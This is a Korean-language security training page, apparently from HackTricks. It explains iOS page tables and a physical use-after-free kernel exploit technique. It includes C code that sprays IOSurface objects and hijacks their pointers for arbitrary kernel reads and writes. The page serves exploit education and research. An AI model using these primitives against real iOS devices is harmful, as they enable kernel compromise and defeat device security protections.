# iOS Exploiting {{#include ../banners/hacktricks-training.md}} ## 물리적 사용 후 해제 이것은 [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)의 게시물 요약이며, 이 기술을 사용한 익스플로잇에 대한 추가 정보는 [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)에서 찾을 수 있습니다. ### XNU의 메모리 관리 iOS의 사용자 프로세스를 위한 **가상 메모리 주소 공간**은 **0x0에서 0x8000000000**까지입니다. 그러나 이러한 주소는 물리 메모리에 직접 매핑되지 않습니다. 대신, **커널**은 **페이지 테이블**을 사용하여 가상 주소를 실제 **물리 주소**로 변환합니다. #### iOS의 페이지 테이블 수준 페이지 테이블은 세 가지 수준으로 계층적으로 구성됩니다: 1. **L1 페이지 테이블 (레벨 1)**: * 여기의 각 항목은 넓은 범위의 가상 메모리를 나타냅니다. * **0x1000000000 바이트** (또는 **256 GB**)의 가상 메모리를 포함합니다. 2. **L2 페이지 테이블 (레벨 2)**: * 여기의 항목은 더 작은 가상 메모리 영역을 나타내며, 구체적으로 **0x2000000 바이트** (32 MB)입니다. * L1 항목은 전체 영역을 매핑할 수 없는 경우 L2 테이블을 가리킬 수 있습니다. 3. **L3 페이지 테이블 (레벨 3)**: * 가장 세밀한 수준으로, 각 항목은 단일 **4 KB** 메모리 페이지를 매핑합니다. * L2 항목은 더 세밀한 제어가 필요할 경우 L3 테이블을 가리킬 수 있습니다. #### 가상 메모리를 물리 메모리로 매핑 * **직접 매핑 (블록 매핑)**: * 페이지 테이블의 일부 항목은 가상 주소 범위를 연속적인 물리 주소 범위에 직접 **매핑**합니다 (단축키와 같은 방식). * **자식 페이지 테이블에 대한 포인터**: * 더 세밀한 제어가 필요할 경우, 한 수준의 항목 (예: L1)은 다음 수준의 **자식 페이지 테이블** (예: L2)을 가리킬 수 있습니다. #### 예시: 가상 주소 매핑 가상 주소 **0x1000000000**에 접근하려고 한다고 가정해 보겠습니다: 1. **L1 테이블**: * 커널은 이 가상 주소에 해당하는 L1 페이지 테이블 항목을 확인합니다. 만약 **L2 페이지 테이블에 대한 포인터**가 있다면, 해당 L2 테이블로 이동합니다. 2. **L2 테이블**: * 커널은 더 자세한 매핑을 위해 L2 페이지 테이블을 확인합니다. 만약 이 항목이 **L3 페이지 테이블**을 가리킨다면, 그곳으로 진행합니다. 3. **L3 테이블**: * 커널은 최종 L3 항목을 조회하여 실제 메모리 페이지의 **물리 주소**를 가리킵니다. #### 주소 매핑 예시 L2 테이블의 첫 번째 인덱스에 물리 주소 **0x800004000**을 기록하면: * **0x1000000000**에서 **0x1002000000**까지의 가상 주소는 **0x800004000**에서 **0x802004000**까지의 물리 주소에 매핑됩니다. * 이는 L2 수준에서의 **블록 매핑**입니다. 또는 L2 항목이 L3 테이블을 가리키는 경우: * 가상 주소 범위 **0x1000000000 -> 0x1002000000**의 각 4 KB 페이지는 L3 테이블의 개별 항목에 의해 매핑됩니다. ### 물리적 사용 후 해제 **물리적 사용 후 해제** (UAF)는 다음과 같은 경우에 발생합니다: 1. 프로세스가 **읽기 및 쓰기 가능**한 메모리를 **할당**합니다. 2. **페이지 테이블**이 이 메모리를 프로세스가 접근할 수 있는 특정 물리 주소에 매핑하도록 업데이트됩니다. 3. 프로세스가 메모리를 **해제** (자유화)합니다. 4. 그러나 **버그**로 인해 커널이 페이지 테이블에서 매핑을 **제거하는 것을 잊어버립니다**, 비록 해당 물리 메모리를 자유 메모리로 표시하더라도. 5. 커널은 이후 이 "해제된" 물리 메모리를 **커널 데이터**와 같은 다른 용도로 **재할당**할 수 있습니다. 6. 매핑이 제거되지 않았기 때문에 프로세스는 여전히 이 물리 메모리에 **읽기 및 쓰기**를 할 수 있습니다. 이는 프로세스가 **커널 메모리의 페이지**에 접근할 수 있음을 의미하며, 이는 민감한 데이터나 구조를 포함할 수 있어 공격자가 **커널 메모리**를 **조작**할 수 있는 가능성을 제공합니다. ### 익스플로잇 전략: 힙 스프레이 공격자가 해제된 메모리에 어떤 특정 커널 페이지가 할당될지 제어할 수 없기 때문에, 그들은 **힙 스프레이**라는 기술을 사용합니다: 1. 공격자는 커널 메모리에 **많은 IOSurface 객체**를 생성합니다. 2. 각 IOSurface 객체는 그 필드 중 하나에 **매직 값**을 포함하여 쉽게 식별할 수 있게 합니다. 3. 그들은 **해제된 페이지**를 스캔하여 이러한 IOSurface 객체가 해제된 페이지에 위치했는지 확인합니다. 4. 해제된 페이지에서 IOSurface 객체를 찾으면, 이를 사용하여 **커널 메모리**를 **읽고 쓸 수** 있습니다. 이에 대한 더 많은 정보는 [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)에서 확인할 수 있습니다. ### 단계별 힙 스프레이 프로세스 1. **IOSurface 객체 스프레이**: 공격자는 특별한 식별자("매직 값")를 가진 많은 IOSurface 객체를 생성합니다. 2. **해제된 페이지 스캔**: 그들은 어떤 객체가 해제된 페이지에 할당되었는지 확인합니다. 3. **커널 메모리 읽기/쓰기**: IOSurface 객체의 필드를 조작하여 커널 메모리에서 **임의의 읽기 및 쓰기**를 수행할 수 있는 능력을 얻습니다. 이를 통해: * 한 필드를 사용하여 **커널 메모리의 32비트 값을 읽습니다**. * 다른 필드를 사용하여 **64비트 값을 씁니다**, 안정적인 **커널 읽기/쓰기 원시**를 달성합니다. IOSURFACE_MAGIC 매직 값을 가진 IOSurface 객체를 생성하여 나중에 검색합니다: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; for (int i = 0; i < nSurfaces; i++) { fast_create_args_t args; lock_result_t result; size_t size = IOSurfaceLockResultSize; args.address = 0; args.alloc_size = *nClients + 1; args.pixel_format = IOSURFACE_MAGIC; IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); io_connect_t id = result.surface_id; (*clients)[*nClients] = id; *nClients = (*nClients) += 1; } } ``` 해제된 물리 페이지에서 **`IOSurface`** 객체를 검색합니다: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); int nSurfaceIDs = 0; for (int i = 0; i < 0x400; i++) { spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); for (int j = 0; j < nPages; j++) { uint64_t start = puafPages[j]; uint64_t stop = start + (pages(1) / 16); for (uint64_t k = start; k < stop; k += 8) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { info.object = k; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; if (self_task) *self_task = iosurface_get_receiver(k); goto sprayDone; } } } } sprayDone: for (int i = 0; i < nSurfaceIDs; i++) { if (surfaceIDs[i] == info.surface) continue; iosurface_release(client, surfaceIDs[i]); } free(surfaceIDs); return 0; } ``` ### 커널 읽기/쓰기 달성하기: IOSurface 커널 메모리에서 IOSurface 객체에 대한 제어를 달성한 후(사용자 공간에서 접근 가능한 해제된 물리 페이지에 매핑됨), 우리는 이를 사용하여 **임의의 커널 읽기 및 쓰기 작업**을 수행할 수 있습니다. **IOSurface의 주요 필드** IOSurface 객체에는 두 가지 중요한 필드가 있습니다: 1. **사용 카운트 포인터**: **32비트 읽기**를 허용합니다. 2. **인덱스 타임스탬프 포인터**: **64비트 쓰기**를 허용합니다. 이 포인터를 덮어쓰면, 우리는 이를 커널 메모리의 임의 주소로 리디렉션하여 읽기/쓰기 기능을 활성화합니다. #### 32비트 커널 읽기 읽기를 수행하려면: 1. **사용 카운트 포인터**를 덮어써서 대상 주소에서 0x14 바이트 오프셋을 뺀 주소를 가리키게 합니다. 2. `get_use_count` 메서드를 사용하여 해당 주소의 값을 읽습니다. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; uint32_t size = 1; uint64_t out = 0; IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { uint64_t orig = iosurface_get_use_count_pointer(info.object); iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 uint32_t value = get_use_count(info.client, info.surface); iosurface_set_use_count_pointer(info.object, orig); return value; } ``` #### 64-Bit Kernel Write 쓰기 작업을 수행하려면: 1. **인덱스된 타임스탬프 포인터**를 대상 주소로 덮어씁니다. 2. `set_indexed_timestamp` 메서드를 사용하여 64비트 값을 씁니다. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); iosurface_set_indexed_timestamp_pointer(info.object, addr); set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` #### Exploit Flow Recap 1. **물리적 Use-After-Free 트리거**: 재사용 가능한 해제된 페이지가 있습니다. 2. **IOSurface 객체 스프레이**: 커널 메모리에 고유한 "매직 값"을 가진 많은 IOSurface 객체를 할당합니다. 3. **접근 가능한 IOSurface 식별**: 제어하는 해제된 페이지에서 IOSurface를 찾습니다. 4. **Use-After-Free 남용**: IOSurface 객체의 포인터를 수정하여 IOSurface 메서드를 통해 임의의 **커널 읽기/쓰기**를 가능하게 합니다. 이러한 원시 기능을 통해 익스플로잇은 커널 메모리에 대한 제어된 **32비트 읽기** 및 **64비트 쓰기**를 제공합니다. 추가 탈옥 단계는 더 안정적인 읽기/쓰기 원시 기능을 포함할 수 있으며, 이는 추가 보호(예: 최신 arm64e 장치의 PPL)를 우회해야 할 수 있습니다. {{#include ../banners/hacktricks-training.md}}